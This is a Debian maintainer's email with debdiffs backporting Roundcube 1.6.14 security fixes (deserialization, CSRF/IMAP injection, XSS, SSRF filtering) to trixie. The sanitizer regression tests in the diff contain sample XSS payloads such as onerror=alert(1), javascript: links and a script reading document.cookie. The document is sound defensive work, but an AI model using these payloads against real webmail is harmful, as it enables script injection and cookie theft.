Hi, On Wed, 18 Mar 2026 at 17:19:35 +0100, Guilhem Moulin wrote: > AFAIK no CVE-ID have been published for these issues. I just requested some.
Unfortunately the CVE IDs have not been assigned yet and upstream is not interested in the process (incl. embargo and pre-disclosure to distros) [0]. The first issue is particularly serious, although it “only” affects instances using redis or memcache as session handler. IMHO it makes sense to upload a fix ASAP, even if the CVE IDs have not been assigned yet. Here are tested debdiffs for trixie-security and bookworm-security. As for the previous uploads, I suggest to follow 1.6.x for trixie-security (the upstream diff [1] is pretty targeted already) and backport targeted fixes for bookworm-security. If the CVE IDs are assigned before the upload, I'll adjust d/changelog, patch names and DEP-3 headers accordingly, but I don't foresee any code change. -- Guilhem. [0] Latest https://github.com/roundcube/roundcubemail/issues/10123 [1] https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14
diffstat for roundcube-1.6.13+dfsg roundcube-1.6.14+dfsg
CHANGELOG.md
| 12
composer.json-dist
| 3
debian/changelog
| 23 +
debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
| 75 +++++
debian/patches/Fix-FTBFS-with-phpunit-11.patch
| 138 ++++------
debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
| 53 +++
debian/patches/fix-install-path.patch
| 4
debian/patches/map-sqlite3-to-sqlite.patch
| 2
debian/patches/series
| 2
debian/patches/update-composer.patch
| 14 -
plugins/password/password.php
| 4
program/actions/mail/index.php
| 2
program/actions/mail/search.php
| 4
program/actions/mail/send.php
| 3
program/actions/utils/modcss.php
| 2
program/include/iniset.php
| 11
program/include/rcmail_action.php
| 3
program/lib/Roundcube/db/mysql.php
| 5
program/lib/Roundcube/rcube_db.php
| 6
program/lib/Roundcube/rcube_utils.php
| 48 +++
program/lib/Roundcube/rcube_washtml.php
| 45 ++-
public_html/plugins/password/password.php
| 4
tests/Framework/DB.php
| 4
tests/Framework/DBMysql.php
| 16 -
tests/Framework/DBPgsql.php
| 8
tests/Framework/Utils.php
| 37 ++
tests/Framework/Washtml.php
| 33 +-
27 files changed, 440 insertions(+), 121 deletions(-)
diff -Nru roundcube-1.6.13+dfsg/CHANGELOG.md roundcube-1.6.14+dfsg/CHANGELOG.md
--- roundcube-1.6.13+dfsg/CHANGELOG.md 2026-02-08 10:25:02.000000000 +0100
+++ roundcube-1.6.14+dfsg/CHANGELOG.md 2026-03-18 12:35:19.000000000 +0100
@@ -2,6 +2,18 @@
## Unreleased
+- Fix Postgres connection using IPv6 address (#10104)
+- Security: Fix pre-auth arbitrary file write via unsafe deserialization in
redis/memcache session handler
+- Security: Fix bug where a password could get changed without providing the
old password
+- Security: Fix IMAP Injection + CSRF bypass in mail search
+- Security: Fix remote image blocking bypass via various SVG animate attributes
+- Security: Fix remote image blocking bypass via a crafted body background
attribute
+- Security: Fix fixed position mitigation bypass via use of !important
+- Security: Fix XSS issue in a HTML attachment preview
+- Security: Fix SSRF + Information Disclosure via stylesheet links to a local
network hosts
+
+## Release 1.6.13
+
- Managesieve: Fix handling of string-list format values for date tests in Out
of Office (#10075)
- Fix remote image blocking bypass via SVG content reported by nullcathedral
- Fix CSS injection vulnerability reported by CERT Polska
diff -Nru roundcube-1.6.13+dfsg/composer.json-dist
roundcube-1.6.14+dfsg/composer.json-dist
--- roundcube-1.6.13+dfsg/composer.json-dist 2026-02-08 10:25:02.000000000
+0100
+++ roundcube-1.6.14+dfsg/composer.json-dist 2026-03-18 12:35:19.000000000
+0100
@@ -20,7 +20,8 @@
"roundcube/rtf-html-php": "~2.1",
"masterminds/html5": "~2.7.0",
"bacon/bacon-qr-code": "^2.0.0",
- "guzzlehttp/guzzle": "^7.3.0"
+ "guzzlehttp/guzzle": "^7.3.0",
+ "mlocati/ip-lib": "^1.22.0"
},
"require-dev": {
"phpunit/phpunit": "^9"
diff -Nru roundcube-1.6.13+dfsg/debian/changelog
roundcube-1.6.14+dfsg/debian/changelog
--- roundcube-1.6.13+dfsg/debian/changelog 2026-02-11 10:55:46.000000000
+0100
+++ roundcube-1.6.14+dfsg/debian/changelog 2026-03-20 18:54:25.000000000
+0100
@@ -1,3 +1,26 @@
+roundcube (1.6.14+dfsg-0+deb13u1) trixie-security; urgency=high
+
+ * New upstream security and bugfix release (closes: #1131182).
+ + Fix pre-auth arbitrary file write via unsafe deserialization in
+ redis/memcache session handler.
+ + Fix bug where a password could get changed without providing the old
+ password.
+ + Fix IMAP Injection + CSRF bypass in mail search.
+ + Fix remote image blocking bypass via various SVG animate attributes.
+ + Fix remote image blocking bypass via a crafted <body> background
+ attribute.
+ + Fix fixed position mitigation bypass via use of `!important`.
+ + Fix XSS vulnerability in HTML attachment preview.
+ + Fix SSRF and information disclosure vulnerability via stylesheet links
+ pointing to a local network hosts.
+ * Refresh d/patches.
+ * Cherry-pick upstream regression fix where mail search would fail on
+ non-ascii search criteria.
+ * Add custom patch to avoid runtime dependency on mlocati/ip-lib which is
+ not present in trixie.
+
+ -- Guilhem Moulin <[email protected]> Fri, 20 Mar 2026 18:54:25 +0100
+
roundcube (1.6.13+dfsg-0+deb13u1) trixie-security; urgency=high
* New upstream security and bugfix release (closes: #1127447).
diff -Nru
roundcube-1.6.13+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
roundcube-1.6.14+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
---
roundcube-1.6.13+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
1970-01-01 01:00:00.000000000 +0100
+++
roundcube-1.6.14+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
2026-03-20 18:54:25.000000000 +0100
@@ -0,0 +1,75 @@
+From: Guilhem Moulin <[email protected]>
+Date: Fri, 20 Mar 2026 17:34:30 +0100
+Subject: Avoid dependency on new package mlocati/ip-lib
+
+Which as of today is not present in Debian. The dependency was
+introduced in 27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870 in order to fix a
+security issue. While it can be uploaded to sid, we need another
+solution to fix the vulnerability for older suites.
+
+Forwarded: not-needed
+---
+ composer.json-dist | 3 +--
+ program/lib/Roundcube/rcube_utils.php | 26 +++++++++++++-------------
+ 2 files changed, 14 insertions(+), 15 deletions(-)
+
+diff --git a/composer.json-dist b/composer.json-dist
+index 1807004..ca3de26 100644
+--- a/composer.json-dist
++++ b/composer.json-dist
+@@ -16,8 +16,7 @@
+ "pear-pear.php.net/net_sieve": ">=1.4.5",
+ "roundcube/plugin-installer": ">=0.3.1",
+ "masterminds/html5": ">=2.7.0",
+- "guzzlehttp/guzzle": ">=7.3.0",
+- "mlocati/ip-lib": ">=1.22.0"
++ "guzzlehttp/guzzle": ">=7.3.0"
+ },
+ "require-dev": {
+ "phpunit/phpunit": "^9"
+diff --git a/program/lib/Roundcube/rcube_utils.php
b/program/lib/Roundcube/rcube_utils.php
+index 5e8ac84..e3409b4 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,7 +1,5 @@
+ <?php
+
+-use IPLib\Factory;
+-
+ /*
+ +-----------------------------------------------------------------------+
+ | This file is part of the Roundcube Webmail client |
+@@ -435,20 +433,22 @@ class rcube_utils
+ if (is_string($host)) {
+ // TODO: This is pretty fast, but a single message can contain
multiple links
+ // to the same target, maybe we should do some in-memory caching.
+- if ($address = Factory::parseAddressString($host = trim($host,
'[]'))) {
++ if ($address = @inet_pton($host = trim($host, '[]'))) {
+ $nets = [
+- '127.0.0.0/8', // loopback
+- '10.0.0.0/8', // RFC1918
+- '172.16.0.0/12', // RFC1918
+- '192.168.0.0/16', // RFC1918
+- '169.254.0.0/16', // link-local / cloud metadata
+- '::1/128',
+- 'fc00::/7',
++ ['127.0.0.0', '127.255.255.255'], // loopback
++ ['10.0.0.0', '10.255.255.255'], // RFC1918
++ ['172.16.0.0', '172.31.255.255'], // RFC1918
++ ['192.168.0.0', '192.168.255.255'], // RFC1918
++ ['169.254.0.0', '169.254.255.255'], // link-local / cloud
metadata
++ ['::1', '::1'],
++ ['fc00::',
'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'],
+ ];
+
+- foreach ($nets as $net) {
+- $range = Factory::parseRangeString($net);
+- if ($range->contains($address)) {
++ foreach ($nets as [$range_start, $range_end]) {
++ $range_start = @inet_pton($range_start);
++ $range_end = @inet_pton($range_end);
++ if (is_string($range_start) && strcmp($range_start,
$address) <= 0 &&
++ is_string($range_end) && strcmp($range_end,
$address) >= 0) {
+ return true;
+ }
+ }
diff -Nru roundcube-1.6.13+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch
roundcube-1.6.14+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch
--- roundcube-1.6.13+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch
2026-02-11 10:55:46.000000000 +0100
+++ roundcube-1.6.14+dfsg/debian/patches/Fix-FTBFS-with-phpunit-11.patch
2026-03-20 18:54:25.000000000 +0100
@@ -161,7 +161,7 @@
tests/Framework/Csv2vcard.php | 18 +-
tests/Framework/DB.php | 27 +--
tests/Framework/DBMssql.php | 14 +-
- tests/Framework/DBMysql.php | 14 +-
+ tests/Framework/DBMysql.php | 11 +-
tests/Framework/DBOracle.php | 14 +-
tests/Framework/DBPgsql.php | 22 ++-
tests/Framework/DBSqlite.php | 14 +-
@@ -222,7 +222,7 @@
tests/StderrMock.php | 15 +-
tests/StorageMock.php | 4 +-
tests/bootstrap.php | 21 ++-
- 213 files changed, 2502 insertions(+), 1796 deletions(-)
+ 213 files changed, 2501 insertions(+), 1794 deletions(-)
diff --git a/plugins/acl/tests/Acl.php b/plugins/acl/tests/Acl.php
index 94e0bd4..0ad987f 100644
@@ -7405,7 +7405,7 @@
$result = $csv->export();
diff --git a/tests/Framework/DB.php b/tests/Framework/DB.php
-index 3ac4f13..853489d 100644
+index 3700564..b697cf4 100644
--- a/tests/Framework/DB.php
+++ b/tests/Framework/DB.php
@@ -1,12 +1,17 @@
@@ -7528,16 +7528,17 @@
}
}
diff --git a/tests/Framework/DBMysql.php b/tests/Framework/DBMysql.php
-index 1d5a3fc..79fe7d1 100644
+index ce7e68d..75dcc8f 100644
--- a/tests/Framework/DBMysql.php
+++ b/tests/Framework/DBMysql.php
-@@ -1,13 +1,19 @@
+@@ -1,13 +1,20 @@
<?php
+namespace Roundcube\Tests\Framework;
+
+use PHPUnit\Framework\Attributes\Group;
+use PHPUnit\Framework\TestCase;
++use function Roundcube\Tests\invokeMethod;
+
/**
* Test class to test rcube_db_mysql class
@@ -7551,19 +7552,8 @@
+#[Group('mysql')]
+class Framework_DBMysql extends TestCase
{
-
- /**
-@@ -15,8 +21,8 @@ class Framework_DBMysql extends PHPUnit\Framework\TestCase
- */
- function test_class()
+ public function test_dsn_string()
{
-- $object = new rcube_db_mysql('test');
-+ $object = new \rcube_db_mysql('test');
-
-- $this->assertInstanceOf('rcube_db_mysql', $object, "Class
constructor");
-+ $this->assertInstanceOf(\rcube_db_mysql::class, $object, "Class
constructor");
- }
- }
diff --git a/tests/Framework/DBOracle.php b/tests/Framework/DBOracle.php
index 8fff546..cb2cab9 100644
--- a/tests/Framework/DBOracle.php
@@ -7602,7 +7592,7 @@
}
}
diff --git a/tests/Framework/DBPgsql.php b/tests/Framework/DBPgsql.php
-index 86f30a8..edc7bef 100644
+index f081c25..dd505a3 100644
--- a/tests/Framework/DBPgsql.php
+++ b/tests/Framework/DBPgsql.php
@@ -1,22 +1,30 @@
@@ -10006,7 +9996,7 @@
$idents = $user->list_identities();
diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
-index e65b5a9..8809da2 100644
+index 3baa861..a27829c 100644
--- a/tests/Framework/Utils.php
+++ b/tests/Framework/Utils.php
@@ -1,11 +1,15 @@
@@ -10203,8 +10193,8 @@
$this->assertEquals("#rcmbody .test { position: absolute; top: 0; }",
$mod, "Replace position:fixed with position:absolute (5)");
// missing closing brace
-@@ -281,27 +290,27 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
- $this->assertSame('#rcmbody .test { position: absolute; top: 0; }',
$mod, 'Replace position:fixed with position:absolute (6)');
+@@ -284,27 +293,27 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+ $this->assertSame('#rcmbody .test { position: absolute; }', $mod,
'Replace position:fixed with position:absolute (7)');
// allow data URIs with images (#5580)
- $mod = rcube_utils::mod_css_styles("body { background-image:
url(data:image/png;base64,123); }", 'rcmbody');
@@ -10237,7 +10227,7 @@
$this->assertSame("#rcmbody { color: red; }", $mod);
$style = 'body { background:url(alert('URL!')); }';
-@@ -335,7 +344,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -338,7 +347,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
:root * { color: red; }
:root > * { top: 0; }
';
@@ -10246,7 +10236,7 @@
$this->assertStringContainsString('#rc .testone', $mod);
$this->assertStringContainsString('#rc .testthree.testfour', $mod);
-@@ -353,24 +362,24 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -356,24 +365,24 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
function test_xss_entity_decode()
{
@@ -10276,7 +10266,7 @@
{
return [
[
-@@ -445,9 +454,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -448,9 +457,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*
* @dataProvider data_parse_css_block
*/
@@ -10288,7 +10278,7 @@
}
/**
-@@ -462,7 +472,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -465,7 +475,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($data as $text => $res) {
@@ -10297,7 +10287,7 @@
$this->assertSame($res, $result);
}
}
-@@ -475,7 +485,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -478,7 +488,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
$data = ['', 'a,b,c', 'a', ',', ',a'];
foreach ($data as $text) {
@@ -10306,7 +10296,7 @@
$this->assertSame(explode(',', $text), $result);
}
}
-@@ -490,7 +500,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -493,7 +503,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($input as $idx => $value) {
@@ -10315,7 +10305,7 @@
}
$input = [
-@@ -498,7 +508,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -501,7 +511,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($input as $idx => $value) {
@@ -10324,7 +10314,7 @@
}
}
-@@ -508,13 +518,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -511,13 +521,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
function test_get_input_string()
{
$_GET = [];
@@ -10341,7 +10331,7 @@
}
/**
-@@ -522,18 +532,18 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -525,18 +535,18 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_is_simple_string()
{
@@ -10372,7 +10362,7 @@
}
/**
-@@ -548,7 +558,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -551,7 +561,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $v) {
@@ -10381,7 +10371,7 @@
$this->assertSame($v[2], $result);
}
}
-@@ -578,7 +588,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -615,7 +625,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $datetime => $ts) {
@@ -10390,7 +10380,7 @@
$this->assertSame($ts, $result, "Error parsing date: $datetime");
}
}
-@@ -605,7 +615,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -642,7 +652,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $datetime => $ts) {
@@ -10399,7 +10389,7 @@
$this->assertSame($ts, $result ? $result->format('Y-m-d') :
false, "Error parsing date: $datetime");
}
-@@ -615,7 +625,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -652,7 +662,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $datetime => $ts) {
@@ -10408,7 +10398,7 @@
$this->assertSame($ts, $result ? $result->format('Y-m-d H:i:s') :
false, "Error parsing date: $datetime");
}
-@@ -624,7 +634,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -661,7 +671,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $datetime => $ts) {
@@ -10417,7 +10407,7 @@
$this->assertSame($ts, $result ? $result->format('Y-m-d H:i:s O')
: false, "Error parsing date: $datetime");
}
}
-@@ -634,17 +644,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -671,17 +681,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_anytodatetime_timezone()
{
@@ -10438,7 +10428,7 @@
if ($result) $result->setTimezone($tz); // move to target
timezone for comparison
$this->assertSame($ts, $result ? $result->format('Y-m-d H:i') :
false, "Error parsing date: $datetime");
}
-@@ -663,7 +673,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -700,7 +710,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $data) {
@@ -10447,7 +10437,7 @@
$this->assertSame($data[2], $result, "Error formatting date: " .
$data[0]);
}
}
-@@ -682,7 +692,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -719,7 +729,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $input => $output) {
@@ -10456,7 +10446,7 @@
$this->assertSame($output, $result);
}
}
-@@ -707,7 +717,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -744,7 +754,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $input => $output) {
@@ -10465,7 +10455,7 @@
$this->assertSame($output, $result, "Error normalizing '$input'");
}
}
-@@ -730,7 +740,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -767,7 +777,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
];
foreach ($test as $idx => $params) {
@@ -10474,7 +10464,7 @@
$this->assertSame($params[2], $result, "words_match() at index
$idx");
}
}
-@@ -756,7 +766,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -793,7 +803,7 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
}
foreach ($test as $input => $output) {
@@ -10483,7 +10473,7 @@
$this->assertSame($output, $result);
}
}
-@@ -766,17 +776,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -803,17 +813,17 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_random_bytes()
{
@@ -10507,7 +10497,7 @@
{
/*
-@@ -813,9 +823,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -850,9 +860,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
* @param string $encoded Encoded email address
* @dataProvider data_idn_convert
*/
@@ -10519,7 +10509,7 @@
}
/**
-@@ -825,9 +836,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -862,9 +873,10 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
* @param string $encoded Encoded email address
* @dataProvider data_idn_convert
*/
@@ -10531,7 +10521,7 @@
}
/**
-@@ -835,14 +847,14 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -872,14 +884,14 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_idn_to_ascii_special()
{
@@ -10549,7 +10539,7 @@
{
return [
['%z', 'hostname', 'hostname'],
-@@ -857,15 +869,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -894,15 +906,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*
* @dataProvider data_parse_host
*/
@@ -10568,7 +10558,7 @@
{
return [
[['hostname', null, null], ['hostname', null, null]],
-@@ -888,15 +901,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -925,15 +938,16 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*
* @dataProvider data_parse_host_uri
*/
@@ -10587,7 +10577,7 @@
return [
['both', 'Fwd: Re: Test subject both', 'Test subject both'],
['both', 'Re: Fwd: Test subject both', 'Test subject both'],
-@@ -914,8 +928,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -951,8 +965,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*
* @dataProvider data_remove_subject_prefix
*/
@@ -10598,7 +10588,7 @@
}
/**
-@@ -923,13 +938,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -960,13 +975,13 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
*/
function test_server_name()
{
@@ -10615,7 +10605,7 @@
}
/**
-@@ -939,31 +954,31 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+@@ -976,31 +991,31 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
{
$_SERVER['test'] = 'test.com';
@@ -10814,7 +10804,7 @@
$this->assertSame($result,
"BEGIN:VCARD\r\nVERSION:3.0\r\nFN:\r\nN:;;;;\r\nEND:VCARD");
diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
-index ef324f8..e8e5a4a 100644
+index ff2ad0f..6d5fc29 100644
--- a/tests/Framework/Washtml.php
+++ b/tests/Framework/Washtml.php
@@ -1,11 +1,14 @@
@@ -10951,8 +10941,8 @@
+ $washer = new \rcube_washtml(['html_elements' => ['body']]);
$washed = $washer->wash($html);
- $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed,
"Body bgcolor attribute");
-@@ -277,7 +280,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+ $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed,
'Body bgcolor attribute');
+@@ -284,7 +287,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
{
$html = "<p style=\"line-height: 1; height: 10\">a</p>";
@@ -10961,7 +10951,7 @@
$washed = $washer->wash($html);
$this->assertMatchesRegularExpression('|line-height: 1;|', $washed,
"Untouched line-height (#1489917)");
-@@ -286,7 +289,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -293,7 +296,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<div style=\"padding: 0px\n 20px;border:1px solid
#000;\"></div>";
$expected = "<div style=\"padding: 0px 20px; border: 1px solid
#000\"></div>";
@@ -10970,7 +10960,7 @@
$washed = $washer->wash($html);
$this->assertSame($this->cleanupResult($washed), $expected,
'White-space and new-line characters handling');
-@@ -300,7 +303,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -307,7 +310,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<img style=aaa:'\"/onerror=alert(1)//'>";
$exp = "<img style=\"aaa: '"/onerror=alert(1)//'\" />";
@@ -10979,7 +10969,7 @@
$washed = $washer->wash($html);
$this->assertTrue(strpos($washed, $exp) !== false, "Style quotes XSS
issue (#1490227)");
-@@ -308,7 +311,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -315,7 +318,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<img style=aaa:'"/onerror=alert(1)//'>";
$exp = "<img style=\"aaa: '"/onerror=alert(1)//'\" />";
@@ -10988,7 +10978,7 @@
$washed = $washer->wash($html);
$this->assertTrue(strpos($washed, $exp) !== false, "Style quotes XSS
issue (#1490227)");
-@@ -326,7 +329,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -333,7 +336,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*/
function test_title()
{
@@ -10997,7 +10987,7 @@
$html =
"<html><head><title>title1</title></head><body><p>test</p></body>";
$washed = $washer->wash($html);
-@@ -372,7 +375,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -379,7 +382,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
<!-- animate blocked -->
</svg>';
@@ -11006,7 +10996,7 @@
$washed = $washer->wash($svg);
$this->assertSame($washed, $exp, "SVG content");
-@@ -381,7 +384,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -388,7 +391,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
/**
* Test cases for SVG tests
*/
@@ -11015,7 +11005,7 @@
{
$svg1 = "<svg id='x' width='100' height='100'><a
xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100'
/></a></svg>";
-@@ -508,9 +511,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -529,9 +532,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*
* @dataProvider data_wash_svg_tests
*/
@@ -11027,7 +11017,7 @@
$washed = $washer->wash($input);
$this->assertSame($expected, $this->cleanupResult($washed), "SVG
content");
-@@ -519,7 +523,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -540,7 +544,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
/**
* Test cases for various XSS issues
*/
@@ -11036,7 +11026,7 @@
{
return [
[
-@@ -574,9 +578,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -595,9 +599,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*
* @dataProvider data_wash_xss_tests
*/
@@ -11048,7 +11038,7 @@
$washed = $washer->wash($input);
$this->assertSame($expected, $this->cleanupResult($washed), "XSS
issues");
-@@ -590,7 +595,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -611,7 +616,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<img style='position:fixed' /><img style=\"position:/**/
fixed; top:10px\" />";
$exp = "<img style=\"position: absolute\" /><img style=\"position:
absolute; top: 10px\" />";
@@ -11057,7 +11047,7 @@
$washed = $washer->wash($html);
$this->assertTrue(strpos($washed, $exp) !== false, "Position:fixed
(#5264)");
-@@ -634,7 +639,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -655,7 +660,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
<annotation encoding="TeX">I_D = \frac{1}{2} k_n \frac{W}{L}
(V_{GS}-V_t)^2</annotation>
</semantics></math>';
@@ -11066,7 +11056,7 @@
$washed = $washer->wash($mathml);
// remove whitespace between tags
-@@ -651,7 +656,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -672,7 +677,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
{
$html = "<input type=\"image\" src=\"http://TRACKING_URL/\">";
@@ -11075,7 +11065,7 @@
$washed = $washer->wash($html);
$this->assertTrue($washer->extlinks);
-@@ -659,7 +664,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -680,7 +685,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
$html = "<video src=\"http://TRACKING_URL/\">";
@@ -11084,7 +11074,7 @@
$washed = $washer->wash($html);
$this->assertTrue($washer->extlinks);
-@@ -680,14 +685,14 @@ class Framework_Washtml extends
PHPUnit\Framework\TestCase
+@@ -701,14 +706,14 @@ class Framework_Washtml extends
PHPUnit\Framework\TestCase
];
foreach ($html as $item) {
@@ -11101,7 +11091,7 @@
$washed = $washer->wash($item[0]);
$this->assertFalse($washer->extlinks);
-@@ -698,7 +703,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -719,7 +724,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
{
$html = '<textarea><p style="x:</textarea><img src=x
onerror=alert(1)>">';
@@ -11110,7 +11100,7 @@
$washed = $washer->wash($html);
$this->assertStringNotContainsString('onerror=alert(1)>', $washed);
-@@ -710,7 +715,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -731,7 +736,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*/
function test_css_prefix()
{
@@ -11119,7 +11109,7 @@
$html = '<p id="my-id">'
. '<label for="my-other-id" class="my-class1
my-class2">test</label>'
-@@ -738,14 +743,14 @@ class Framework_Washtml extends
PHPUnit\Framework\TestCase
+@@ -759,14 +764,14 @@ class Framework_Washtml extends
PHPUnit\Framework\TestCase
{
$html = '<p><?xml:namespace prefix = "xsl" /></p>';
@@ -11136,7 +11126,7 @@
$washed = $this->cleanupResult($washer->wash($html));
$this->assertSame($washed, 'HTML');
-@@ -756,7 +761,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -777,7 +782,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
*/
function test_missing_tags()
{
@@ -11145,7 +11135,7 @@
$html = '<head></head>First line<br />Second line';
$washed = $washer->wash($html);
-@@ -798,7 +803,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -819,7 +824,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
{
$html = '<p><![CDATA[<script>alert(document.cookie)</script>]]></p>';
@@ -11154,7 +11144,7 @@
$washed = $washer->wash($html);
$this->assertTrue(strpos($washed, '<script>') === false, "CDATA
content");
-@@ -810,7 +815,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+@@ -831,7 +836,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
function test_resolve_base()
{
$html = file_get_contents(TESTS_DIR . 'src/htmlbase.txt');
@@ -11163,7 +11153,7 @@
$this->assertMatchesRegularExpression('|src="http://alec\.pl/dir/img1\.gif"|',
$html, "URI base resolving [1]");
$this->assertMatchesRegularExpression('|src="http://alec\.pl/dir/img2\.gif"|',
$html, "URI base resolving [2]");
-@@ -856,7 +861,7 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
